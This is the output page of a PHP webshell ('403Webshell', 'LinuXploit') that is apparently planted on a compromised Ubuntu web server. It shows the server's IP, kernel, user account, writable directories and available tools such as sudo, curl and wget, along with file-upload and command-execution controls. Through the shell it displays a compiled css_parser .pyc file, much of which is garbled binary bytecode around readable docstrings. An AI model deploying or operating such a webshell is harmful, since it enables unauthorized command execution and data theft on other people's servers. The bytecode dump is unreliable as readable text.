403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/css_parser/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/css_parser/__pycache__/parse.cpython-312.pyc
�

��3ec"���dZddlmZmZmZmZdgZdZdZddl	m
Z
ddlZddlZddl
Z
dd	lmZdd
lmZe
j"dkreZGd�de�Zy)
zA validating CSSParser�)�unicode_literals�division�absolute_import�print_function�	CSSParser�restructuredtextz$Id$�)�path2urlN)�	tokenize2)�css)��c�\�eZdZdZ			d
d�Zd�Zdd�Z			dd�Z			dd�Z		d
d�Z	dd	�Z
y)raParse a CSS StyleSheet from URL, string or file and return a DOM Level 2
    CSS StyleSheet object.

    Usage::

        parser = CSSParser()
        # optionally
        parser.setFetcher(fetcher)
        sheet = parser.parseFile('test1.css', 'ascii')
        print sheet.cssText
    Nc�N�|�tjj|�|�tjj|�tjj|_|r||_nd|_tj|��|_	|j|�||_y)ae
        :param log:
            logging object
        :param loglevel:
            logging loglevel
        :param raiseExceptions:
            if log should simply log (default) or raise errors during
            parsing. Later while working with the resulting sheets
            the setting used in css_parser.log.raiseExeptions is used
        :param fetcher:
            see ``setFetcher(fetcher)``
        :param parseComments:
            if comments should be added to CSS DOM or simply omitted
        :param validate:
            if parsing should validate, may be overwritten in parse methods
        NF)�
doComments)�
css_parser�log�setLog�setLevel�raiseExceptions�_CSSParser__globalRaising�_CSSParser__parseRaisingr�	Tokenizer�_CSSParser__tokenizer�
setFetcher�	_validate)�selfr�loglevelr�fetcher�
parseComments�validates       �2/usr/lib/python3/dist-packages/css_parser/parse.py�__init__zCSSParser.__init__#s���&�?��N�N�!�!�#�&����N�N�#�#�H�-� *�~�~�=�=����"1�D��#(�D��$�.�.�-�H������� �!���c��|r |jtj_y|jtj_y)zsduring parse exceptions may be handled differently depending on
        init parameter ``raiseExceptions``
        N)rrrrr)r�parses  r"�__parseSettingzCSSParser.__parseSettingHs+���-1�-@�-@�J�N�N�*�-1�-A�-A�J�N�N�*r$c���|jd�t|t�r|j|�}|�|j}tj||��}|jd�|S)a�Parse given `cssText` which is assumed to be the content of
        a HTML style attribute.

        :param cssText:
            CSS string to parse
        :param encoding:
            It will be used to decode `cssText` if given as a (byte)
            string.
        :param validate:
            If given defines if validation is used. Uses CSSParser settings as
            fallback
        :returns:
            :class:`~css_parser.css.CSSStyleDeclaration`
        T)�
validatingF)�_CSSParser__parseSetting�
isinstance�bytes�decoderr�CSSStyleDeclaration)r�cssText�encodingr!�styles     r"�
parseStylezCSSParser.parseStyleQs^��	
���D�!��g�u�%��n�n�X�.�G����~�~�H��'�'��H�E�����E�"��r$c���|jd�t|t�r tjd�||��d}|�|j
}tjj|tjj|�||��}|j|j�|j|jj|d��|��|jd�|S)	abParse `cssText` as :class:`~css_parser.css.CSSStyleSheet`.
        Errors may be raised (e.g. UnicodeDecodeError).

        :param cssText:
            CSS string to parse
        :param encoding:
            If ``None`` the encoding will be read from BOM or an @charset
            rule or defaults to UTF-8.
            If given overrides any found encoding including the ones for
            imported sheets.
            It also will be used to decode `cssText` if given as a (byte)
            string.
        :param href:
            The ``href`` attribute to assign to the parsed style sheet.
            Used to resolve other urls in the parsed sheet like @import hrefs.
        :param media:
            The ``media`` attribute to assign to the parsed style sheet
            (may be a MediaList, list or a string).
        :param title:
            The ``title`` attribute to assign to the parsed style sheet.
        :param validate:
            If given defines if validation is used. Uses CSSParser settings as
            fallback
        :returns:
            :class:`~css_parser.css.CSSStyleSheet`.
        Tr)r0r)�href�media�titler))�	fullsheet)�encodingOverrideF)r*r+r,�codecs�
getdecoderrrr�
CSSStyleSheet�stylesheets�	MediaList�_setFetcher�_CSSParser__fetcher�_setCssTextWithEncodingOverrider�tokenize)rr/r0r4r5r6r!�sheets        r"�parseStringzCSSParser.parseStringjs���:	
���D�!��g�u�%�.�f�'�'��.�w��J�1�M�G����~�~�H����,�,�� �,�,�6�6�u�=��#�	-�%��
	���$�.�.�)�
�-�-�d�.>�.>�.G�.G��RV�/H�/X�?G�	.�	I�	
���E�"��r$c��|st|�}t|d�}|j�}|j�|j	||||||��S)aRetrieve content from `filename` and parse it. Errors may be raised
        (e.g. IOError).

        :param filename:
            of the CSS file to parse, if no `href` is given filename is
            converted to a (file:) URL and set as ``href`` of resulting
            stylesheet.
            If `href` is given it is set as ``sheet.href``. Either way
            ``sheet.href`` is used to resolve e.g. stylesheet imports via
            @import rules.
        :param encoding:
            Value ``None`` defaults to encoding detection via BOM or an
            @charset rule.
            Other values override detected encoding for the sheet at
            `filename` including any imported sheets.
        :returns:
            :class:`~css_parser.css.CSSStyleSheet`.
        �rb�r0r4r5r6r!)r
�open�read�closerC)	r�filenamer0r4r5r6r!�frs	         r"�	parseFilezCSSParser.parseFile�sX��*��H�%�D���4� ���f�f�h��	���	�����)1�%)��e�)1� �3�	3r$c��tjj||j|��\}}}|dk(rd}|�|j	||||||��Sy)a#Retrieve content from URL `href` and parse it. Errors may be raised
        (e.g. URLError).

        :param href:
            URL of the CSS file to parse, will also be set as ``href`` of
            resulting stylesheet
        :param encoding:
            Value ``None`` defaults to encoding detection via HTTP, BOM or an
            @charset rule.
            A value overrides detected encoding for the sheet at ``href``
            including any imported sheets.
        :returns:
            :class:`~css_parser.css.CSSStyleSheet`.
        )r�overrideEncoding�NrF)r�util�_readUrlr?rC)rr4r0r5r6r!�enctype�texts        r"�parseUrlzCSSParser.parseUrl�sp�� #-�/�/�":�":�����!)�#;�#+���'�4��a�<��H����#�#�D�8�)-�U�%�-5�$�7�
7�r$c��||_y)a1Replace the default URL fetch function with a custom one.

        :param fetcher:
            A function which gets a single parameter

            ``url``
                the URL to read

            and must return ``(encoding, content)`` where ``encoding`` is the
            HTTP charset normally given via the Content-Type header (which may
            simply omit the charset in which case ``encoding`` would be
            ``None``) and ``content`` being the string (or unicode) content.

            The Mimetype should be 'text/css' but this has to be checked by the
            fetcher itself (the default fetcher emits a warning if encountering
            a different mimetype).

            Calling ``setFetcher`` with ``fetcher=None`` resets css_parser
            to use its default function.
        N)r?)rrs  r"rzCSSParser.setFetcher�s��*!��r$)NNNNTT)zutf-8N)NNNNN)NNNN)N)�__name__�
__module__�__qualname__�__doc__r#r*r2rCrLrTr�r$r"rrs\��
�AE�-1��#"�JB��2DH��!�0�d,0�/3��3�B?C��7�:!r$)rY�
__future__rrrr�__all__�
__docformat__�__version__�helperr
r9r�sys�rr�version_info�strr,�objectrrZr$r"�<module>resR���R�R��-��"�
����
��
������f���E�Y!��Y!r$

Youez - 2016 - github.com/yon3zu
LinuXploit